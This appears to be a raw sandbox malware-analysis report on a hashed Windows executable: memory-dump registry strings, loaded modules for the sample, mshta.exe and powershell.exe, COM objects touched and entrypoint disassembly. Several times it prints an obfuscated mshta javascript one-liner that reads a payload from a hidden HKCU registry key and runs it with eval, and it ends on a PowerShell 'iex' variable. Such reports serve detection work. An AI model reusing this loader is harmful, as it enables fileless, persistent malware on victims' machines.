Source: 00000000-00005644.00000001.78962.00150000.00000004.mdmp "SOFTWARE\Classes" in Source: 00000000-00005644.00000001.78962.00150000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005644.00000001.78962.00150000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005644.00000001.78962.00150000.00000004.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005644.00000001.78962.00150000.00000004.mdmp "software\" in Source: 00000000-00005644.00000001.78962.00650000.00000004.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005644.00000001.78962.01540000.00000040.mdmp "Software\Borland\Locales" in Source: 00000000-00005644.00000001.78962.01540000.00000040.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005644.00000001.78962.01540000.00000040.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005644.00000001.78962.01540000.00000040.mdmp "SOFTWARE\" in Source: 00000000-00005644.00000001.78962.01540000.00000040.mdmp "HKLM\" in Source: 00000000-00005644.00000001.78962.01540000.00000040.mdmp "HKCU\" in Source: 00000000-00005644.00000001.78962.01540000.00000040.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005644.00000001.78962.01540000.00000040.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005644.00000001.78962.01540000.00000040.mdmp "software\" in Source: 00000000-00005644.00000001.78962.01540000.00000040.mdmp "SOFTWARE\Classes" in Source: 00000000-00005644.00000001.78962.01540000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005644.00000001.78962.01540000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005644.00000001.78962.01540000.00000040.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005644.00000001.78962.01540000.00000040.mdmp "software\mwADQWKI6" in Source: 00000000-00005644.00000001.78962.01730000.00000004.mdmp "software\qwgi" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "Software\Borland\Locales" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "SOFTWARE\" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "HKLM\" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "HKCU\" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "software\" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "SOFTWARE\Classes" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005644.00000001.78962.01788000.00000004.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005644.00000002.80885.00150000.00000004.mdmp "Software\Borland\Locales" in Source: 00000000-00005644.00000002.80885.00150000.00000004.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005644.00000002.80885.00150000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005644.00000002.80885.00150000.00000004.mdmp "SOFTWARE\" in Source: 00000000-00005644.00000002.80885.00150000.00000004.mdmp "HKLM\" in Source: 00000000-00005644.00000002.80885.00150000.00000004.mdmp "HKCU\" in Source: 00000000-00005644.00000002.80885.00150000.00000004.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005644.00000002.80885.00150000.00000004.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005644.00000002.80885.00150000.00000004.mdmp "software\" in Source: 00000000-00005644.00000002.80885.00150000.00000004.mdmp "SOFTWARE\Classes" in Source: 00000000-00005644.00000002.80885.00150000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005644.00000002.80885.00150000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005644.00000002.80885.00150000.00000004.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005644.00000002.80885.00150000.00000004.mdmp "software\" in Source: 00000000-00005644.00000002.80885.00650000.00000004.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005644.00000002.80885.01540000.00000040.mdmp "Software\Borland\Locales" in Source: 00000000-00005644.00000002.80885.01540000.00000040.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005644.00000002.80885.01540000.00000040.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005644.00000002.80885.01540000.00000040.mdmp "SOFTWARE\" in Source: 00000000-00005644.00000002.80885.01540000.00000040.mdmp "HKLM\" in Source: 00000000-00005644.00000002.80885.01540000.00000040.mdmp "HKCU\" in Source: 00000000-00005644.00000002.80885.01540000.00000040.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005644.00000002.80885.01540000.00000040.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005644.00000002.80885.01540000.00000040.mdmp "software\" in Source: 00000000-00005644.00000002.80885.01540000.00000040.mdmp "SOFTWARE\Classes" in Source: 00000000-00005644.00000002.80885.01540000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005644.00000002.80885.01540000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005644.00000002.80885.01540000.00000040.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005644.00000002.80885.01540000.00000040.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp "Software\Borland\Locales" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp "SOFTWARE\" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp "HKLM\" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp "HKCU\" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp "software\" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp ""C:\Windows\system32\mshta.exe" javascript:lE1FxlM="QwNCtD";XW11=new%20ActiveXObject("WScript.Shell");Lled6no1l="nU5B83Ay";hb1ph=XW11.RegRead("HKCU\\software\\mwADQWKI6\\S4OunQxU");UzVbR4f="fWo0F";eval(hb1ph);AFC7s6="ZXeCP";" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp "SOFTWARE\Classes" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp ":\Windows\system32\mshta.exe" javascript:lE1FxlM="QwNCtD";XW11=new%20ActiveXObject("WScript.Shell");Lled6no1l="nU5B83Ay";hb1ph=XW11.RegRead("HKCU\\software\\mwADQWKI6\\S4OunQxU");UzVbR4f="fWo0F";eval(hb1ph);AFC7s6="ZXeCP";" in Source: 00000000-00005644.00000003.86403.00150000.00000004.mdmp, "software\" in Source: 00000000-00005644.00000003.86403.00650000.00000004.mdmp, "ascript:lE1FxlM="QwNCtD";XW11=new%20ActiveXObject("WScript.Shell");Lled6no1l="nU5B83Ay";hb1ph=XW11.RegRead("HKCU\\software\\mwADQWKI6\\S4OunQxU");UzVbR4f="fWo0F";eval(hb1ph);AFC7s6="ZXeCP";" in Source: 00000000-00005644.00000003.86403.00650000.00000004.mdmp, "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005644.00000003.86403.01540000.00000040.mdmp, "Software\Borland\Locales" in Source: 00000000-00005644.00000003.86403.01540000.00000040.mdmp, "Software\Borland\Delphi\Locales" in Source: 00000000-00005644.00000003.86403.01540000.00000040.mdmp, "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005644.00000003.86403.01540000.00000040.mdmp, "SOFTWARE\" in Source: 00000000-00005644.00000003.86403.01540000.00000040.mdmp, "HKLM\" in Source: 00000000-00005644.00000003.86403.01540000.00000040.mdmp, "HKCU\" in Source: 00000000-00005644.00000003.86403.01540000.00000040.mdmp, "SOFTWARE\Classes\" in Source: 00000000-00005644.00000003.86403.01540000.00000040.mdmp, "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005644.00000003.86403.01540000.00000040.mdmp, "software\" in Source: 00000000-00005644.00000003.86403.01540000.00000040.mdmp, "SOFTWARE\Classes" in Source: 00000000-00005644.00000003.86403.01540000.00000040.mdmp, "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005644.00000003.86403.01540000.00000040.mdmp, "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005644.00000003.86403.01540000.00000040.mdmp, "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005644.00000003.86403.01540000.00000040.mdmp, "software\mwADQWKI6\" in Source: 00000000-00005644.00000003.86403.01730000.00000004.mdmp, "software\mwADQWKI6" in Source: 00000000-00005644.00000003.86403.01730000.00000004.mdmp, "hb1ph=XW11.RegRead("HKCU\\software\\mwADQWKI6\\S4OunQxU"H" in Source: 00000000-00005644.00000003.86403.01730000.00000004.mdmp, "software\qwgi" in Source: 00000000-00005644.00000003.86403.01788000.00000004.mdmp3f:T315a,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 65d50000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "KERNEL32.DLL" at base 76560000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "USER32.DLL" at base 76060000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "ADVAPI32.DLL" at base 76aa0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "OLEAUT32.DLL" at base 77aa0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "VERSION.DLL" at base 74cc0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "GDI32.DLL" at base 762b0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "WININET.DLL" at base 75db0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "OLE32.DLL" at base 76150000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "WSOCK32.DLL" at base 701f0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "WINMM.DLL" at base 6fcd0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "ATL.DLL" at base 73de0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "NTDLL.DLL" at base 77920000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "WTSAPI32.DLL" at base 73bd0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "PSAPI.DLL" at base 77a70000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "SHELL32.DLL" at base 76cd0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "URLMON.DLL" at base 76410000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "CRYPTBASE.DLL" at base 75720000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 767e0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "CLBCATQ.DLL" at base 769b0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76560000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6e2d0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "CRYPTSP.DLL" at base 75230000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74fc0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "RPCRTREMOTE.DLL" at base 757c0000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6d610000 "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6e420000 "mshta.exe" loaded module "OLE32.DLL" at base 76150000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74470000 "mshta.exe" loaded module "DWMAPI.DLL" at base 743e0000 "mshta.exe" loaded module "SHLWAPI.DLL" at base 76a40000 "mshta.exe" loaded module "KERNEL32.DLL" at base 76560000 "mshta.exe" loaded module "OLEAUT32.DLL" at base 77aa0000 "mshta.exe" loaded module "CLBCATQ.DLL" at base 769b0000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\MSHTML.DLL" at base 63790000 "mshta.exe" loaded module "UXTHEME.DLL" at base 74470000 "mshta.exe" loaded module "COMCTL32.DLL" at base 74720000 "mshta.exe" loaded module "SECUR32.DLL" at base 75560000 "mshta.exe" loaded module "RPCRT4.DLL" at base 76ba0000 "mshta.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 72340000 "mshta.exe" loaded module "SHELL32.DLL" at base 76cd0000 "mshta.exe" loaded module "URLMON.DLL" at base 76410000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\MSIMTF.DLL" at base 6c320000 "mshta.exe" loaded module "USER32.DLL" at base 76060000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 76150000 "mshta.exe" loaded module "OLEACC.DLL" at base 6be40000 "mshta.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 767e0000 "mshta.exe" loaded module "ADVAPI32.DLL" at base 76aa0000 "mshta.exe" loaded module "CRYPTSP.DLL" at base 75230000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74fc0000 "mshta.exe" loaded module "CRYPTBASE.DLL" at base 75720000 "mshta.exe" loaded module "RPCRTREMOTE.DLL" at base 757c0000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 77aa0000 "mshta.exe" loaded module "SXS.DLL" at base 75730000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 6be40000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 768e0000 "mshta.exe" loaded module "MSHTML.DLL" at base 63790000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT9.DLL" at base 64ce0000 "mshta.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 75890000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 69220000 "mshta.exe" loaded module "PROPSYS.DLL" at base 745d0000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 745d0000 "mshta.exe" loaded module "NTMARTA.DLL" at base 74c90000 "mshta.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 767e0000 "mshta.exe" loaded module "PROFAPI.DLL" at base 75830000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 76410000 "mshta.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 75a30000 "mshta.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76560000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 756d0000 "mshta.exe" loaded module "SETUPAPI.DLL" at base 76640000 "mshta.exe" loaded module "MSLS31.DLL" at base 6df00000 "mshta.exe" loaded module "D2D1.DLL" at base 63440000 "mshta.exe" loaded module "DWRITE.DLL" at base 63300000 "mshta.exe" loaded module "DXGI.DLL" at base 71460000 "mshta.exe" loaded module "GDI32.DLL" at base 762b0000 "mshta.exe" loaded module "WINTRUST.DLL" at base 75b30000 "mshta.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 707c0000 "mshta.exe" loaded module "XMLLITE.DLL" at base 74060000 "mshta.exe" loaded module "D3D11.DLL" at base 712e0000 "mshta.exe" loaded module "D3D10WARP.DLL" at base 63110000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\D3D10WARP.DLL" at base 63110000 "powershell.exe" loaded module "MSCOREE.DLL" at base 6bdc0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 76ba0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 76560000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 6bdc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 61bd0000 "powershell.exe" loaded module "OLE32.DLL" at base 76150000 "powershell.exe" loaded module "CRYPTBASE.DLL" at base 75720000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 77aa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 61170000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 60950000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.PB378EC07#\D254C63BEDCB76C81C3125BD527B7D1A\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 654a0000 "powershell.exe" loaded module "CRYPTSP.DLL" at base 75230000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74fc0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 76aa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAA57FC8CC#\73A1A80AED03E789A49CEC899B7505DD\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 5ee60000 "powershell.exe" loaded module "NTDLL.DLL" at base 77920000 "powershell.exe" loaded module "VERSION.DLL" at base 74cc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 65a70000 "powershell.exe" loaded module "PSAPI.DLL" at base 77a70000 "powershell.exe" loaded module "SHELL32.DLL" at base 76cd0000 "powershell.exe" loaded module "USER32.DLL" at base 76060000 "powershell.exe" loaded module "WINTRUST.DLL" at base 75b30000 "powershell.exe" loaded module "MSISIP.DLL" at base 6c310000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 758a0000 "powershell.exe" loaded module "IMM32.DLL" at base 76130000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 658c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6bcd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DATA\DF2DD09ED7C341842A104E1E668F184E\SYSTEM.DATA.NI.DLL" at base 5e640000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 5e2e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 5db60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAGEMENT\E114780FD3EA5727401C06EA4F22EF35\SYSTEM.MANAGEMENT.NI.DLL" at base 65270000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DIRED13B18A9#\2E76676FBD265F70BE92C82BBF76B8E5\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 65140000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 69150000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 5dad0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.P6F792626#\05765F777020DEEDDC8AD54B48343B9C\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 65550000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\F0821980BFE2FC8375CCFC37DBE6E9D8\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 5da50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.TRANSACTIONS\3D760B4A3260A41EF84A3FD866780980\SYSTEM.TRANSACTIONS.NI.DLL" at base 5d990000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 5d940000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 5d830000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.NUMERICS\E7D6ED984300C7212C6E682C4F730B1E\SYSTEM.NUMERICS.NI.DLL" at base 5d7e0000 "powershell.exe" loaded module "SECUR32.DLL" at base 75560000 "powershell.exe" loaded module "SSPICLI.DLL" at base 756b0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 76a40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.CSHARP\F73F48AFB5512225DEDAEE9C88AC5050\MICROSOFT.CSHARP.NI.DLL" at base 5d490000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74470000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 767e0000 "powershell.exe" loaded module "RPCRTREMOTE.DLL" at base 757c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.P521220EA#\45D6173BF76D6C7A206F8F41403F947B\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 5c920000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFE64A9051#\1561B93D6D25C4A9C3E2659AB29A5E73\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 65470000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 5c750000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 767e0000 "powershell.exe" loaded module "PROFAPI.DLL" at base 75830000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7534000040:T409,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")41:T54d,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x18,lea ecx, [ebx + 0x69],mov ecx, eax,call 0x404943,push -0x1f,push dword ptr [esp + 4],push 6,push -0x39,push 0x40cf66,call 0x402d5a,mov ecx, dword ptr [eax],push 2,push eax,mov dword ptr [esp + 0x2c], esi,mov dword ptr [esp + 0x30], esi,or ebx, dword ptr [esp],add esp, 4,push dword ptr [esp + 0xc],push ecx,push dword ptr [esp + 0xc],push -0x6e,push 0x401b2b,call 0x4032c1,call 0x4093e1,mov ecx, dword ptr [ebp - 0xc],pop edi,pop esi,mov eax, ebx,mov dword ptr fs:[0], ecx,pop ebx,push esi," "DISMHOST.EXE.6DC1D0A6.bin" file has an entrypoint instructions - "call 0x100a7e6,jmp 0x10097f4,int3 ,int3 ,int3 ,int3 ,int3 ,push 0x14,push 0x1010878,call 0x1009d10,and dword ptr [ebp - 4], 0,dec dword ptr [ebp + 0x10],js 0x1009afc,mov ecx, dword ptr [ebp + 8],sub ecx, dword ptr [ebp + 0xc],mov dword ptr [ebp + 8], ecx,call dword ptr [ebp + 0x14],jmp 0x1009abc,mov eax, dword ptr [ebp - 0x14],mov dword ptr [ebp - 0x1c], eax,mov eax, dword ptr [ebp - 0x1c],mov eax, dword ptr [eax],mov dword ptr [ebp - 0x20], eax,mov eax, dword ptr [ebp - 0x20],cmp dword ptr [eax], 0xe06d7363,je 0x1009af3,mov dword ptr [ebp - 0x24], 0,mov eax, dword ptr [ebp - 0x24],ret ,call dword ptr [0x1001210],mov esp, dword ptr [ebp - 0x18],"42:T6115,Process "powershell.exe" (UID: 00000000-00003404) was launched with new environment variables: "USERDNSDOMAIN="%OSUSER%-PC", oczbexg="iex 